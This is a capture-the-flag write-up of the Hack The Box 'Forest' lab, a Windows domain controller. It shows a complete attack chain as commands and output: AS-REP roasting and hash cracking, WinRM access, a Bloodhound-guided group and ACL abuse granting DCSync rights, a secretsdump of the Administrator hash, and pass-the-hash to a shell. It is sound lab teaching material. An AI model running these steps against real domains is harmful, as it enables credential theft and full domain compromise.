Forest Writeup
25 December 2022 #CTF #HTB #box #easy #windowsEnumeration
When you go for a walk in a forest, don't forget to take your nmap
with you:
$ sudo nmap -n -Pn -F -sCV -oN enum/initial.nmap 10.10.10.161
[...]
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-25 21:58:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2022-12-25T13:58:39-08:00
|_clock-skew: mean: 2h46m48s, deviation: 4h37m09s, median: 6m47s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-25T21:58:40
|_ start_date: 2022-12-25T21:57:39
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
[...]
We see DNS + Kerberos + LDAP open, so it's most likely an Active Directory domain controller. The domain name is htb.local
and the host name of the DC is FOREST
. Let's add them to our /etc/hosts
file.
DNS
Always a try zone transfer when DNS is listening on a TCP port:
$ dig @10.10.10.161 axfr htb.local
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 axfr htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
$ dig @10.10.10.161 axfr FOREST.htb.local
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.161 axfr FOREST.htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
Better luck next time...
SMB
Let's see if we can list shares anonymously:
$ smbclient -NL 10.10.10.161
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Doesn't look like we can...
Next we can try to use rpcclient
to get a list of users in the domain with the enumdomusers
command. We have to specify the -U ''
option in order to use anonymous authentication:
$ rpcclient -N -U '' 10.10.10.161 -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Nice, we got a bunch of usernames. The ouput is a bit ugly and we just want usernames so we'll use this (even uglier) command to get a nice and clean user list:
$ rpcclient -U '' -N 10.10.10.161 -c enumdomusers | grep -oP '\[.*?\]' | grep -v '^\[0x' | tr -d '[]' > users.txt
grep -oP
: use Perl regex syntax and output only the match instead of the whole line'\[.*?\]'
: match anything inside[]
and use?
to make it lazy (stop at the first]
character)grep -v '^\[0x'
: remove lines starting with[0x
from the outputtr -d '[]'
: remove[]
characters from each line of output
Foothold
Now that we have a list of valid usernames on the domain, one thing we could try is looking for users with Kerberos Preauth disabled. If it is, we can request a TGT for that user without their password. The TGT is encrypted with the NTLM hash of the password for that user account, meaning we can grab it and crack it offline with hashchat
or john
.
We'll use the GetNPUsers
script from impacket to do that:
$ impacket-GetNPUsers -usersfile users.txt htb.local/
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[...]
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a06646cad179814f7c285fc1b1bab00e$b7870b2cbe5fb61b330aba34952fe4ce99d5dc0f79e0caf1e856fc6467d9e94a0943d31d3e080fa2cbe89a97040a0d7c06afb2782e79e5aaa0416b287803171ff74b8118e070a0f8a144a807ebcac0c4ecc2d1da5402705211963e5798cc1987d00ad5536c426c1103dbf902b544479758c8d4c5cdce7bd30dca28e6b499c43feab1406870b70a882158bd82a0efe2b0b1219574b38388961bca2aa2c22d490389900bb4f0095dc54b6d7900e798fef11d3ef0e01c5c80ec12216b4791ce9abc42d1a1add7980f9ddffb7f399a3056859997104d55a90a77553ef0989fbd560dbfae09a43d03
[...]
We got one hit with the 'svc-alfresco' user!
Copy the hash to a file and throw it to hashcat
:
$ hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
[...]
$krb5asrep$23$svc-alfresco@HTB.LOCAL:[...]:s3rvice
[...]
And boom, we have the password for that account!
With a username and password we could try to winRM into the box (nmap
didn't try port 5985 because it isn't in the top 100):
$ crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
SMB 10.10.10.161 5985 FOREST [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP 10.10.10.161 5985 FOREST [*] http://10.10.10.161:5985/wsman
WINRM 10.10.10.161 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
Great, we can log in to the DC with evil-winrm
:
$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
[...]
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
Privesc
Bloodhound
With a valid domain account, the first thing we should be doing is using Bloodhound to map out the domain and get an overview of the possible misconfigurations.
The first step is to run an ingestor to gather all the data we will then feed to Bloodhound. We'll use rusthound:
$ mkdir bloodhound
$ rusthound -d htb.local -u svc-alfresco -p s3rvice -o bloodhound
[...]
Now, just drag and drop all json files from the bloodhound
directory directly into the Bloodhound window. We can then search for 'svc-alfresco' and mark this user as owned:
Now we can go to Analysis -> Shortest Paths -> Shortest Paths to Domain Admins from Owned Principals:
We see that our user is a member of the domain group 'Service Accounts' which is itself a member of the 'Privileged IT Accounts' group which is itself a member of the 'Account Operators' group (phew).
'Account Operators' has full control over the 'Exchange Windows Permissions' group, meaning we can just create a user and add it to this group (or add ourselves to the group).
'Exchange Windows Permissions' has the 'WriteDacl' privilege on the domain. We can abuse this by giving our user the right to do a DCSync and get the NTLM hash of all accounts on the domain.
Add user to group
We'll use the built-in net
command to do this:
*Evil-WinRM* PS C:\Users\svc-alfresco> net group 'Exchange Windows Permissions' svc-alfresco /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco> net user svc-alfresco
[...]
Global Group memberships *Exchange Windows Perm*Domain Users
Note that there is a cleanup script that will reset group memberships every minute or so.
Grant DCSync Privilege
Right click on the 'WriteDacl' link to get some info on how to exploit it:
Add-DomainObjectAcl
is a cmdlet from the PowerView collection, so we'll need to get it on the remote box.
We can use the upload feature of evil-winrm
to transfer it to the target:
*Evil-WinRM* PS C:\Users\svc-alfresco> upload /opt/PowerView.ps1 ./pv.ps1
[...]
*Evil-WinRM* PS C:\Users\svc-alfresco> import-module ./pv.ps1
Before using Add-ObjectACL
(more friendly version of Add-DomainObjectAcl
), we need a credential object:
*Evil-WinRM* PS C:\Users\svc-alfresco> $pw = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco> $cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $pw)
Now let's give ourselves the privilege to do a DCSync (because why not):
*Evil-WinRM* PS C:\Users\svc-alfresco> Add-ObjectACL -PrincipalIdentity svc-alfresco -Credential $cred -Rights DCSync
Perform DCSync attack
We could use mimikatz but the secretsdump
script from impacket allows us to do this remotely:
$ impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.10.10.161
[...]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[...]
Pass the Hash as Administrator
With the administrator's NTLM hash in our hands, we can pass it to psexec
or wmiexec
:
$ impacket-wmiexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
Key Takeaways
- Use
rpcclient
to get a list of usernames (enumdomusers
command) - When you have a list of valid usernames, check for Kerberos PreAuth disabled (AS-REP roasting)
- Use
secretsdump
from impacket to perform a DCSync attack remotely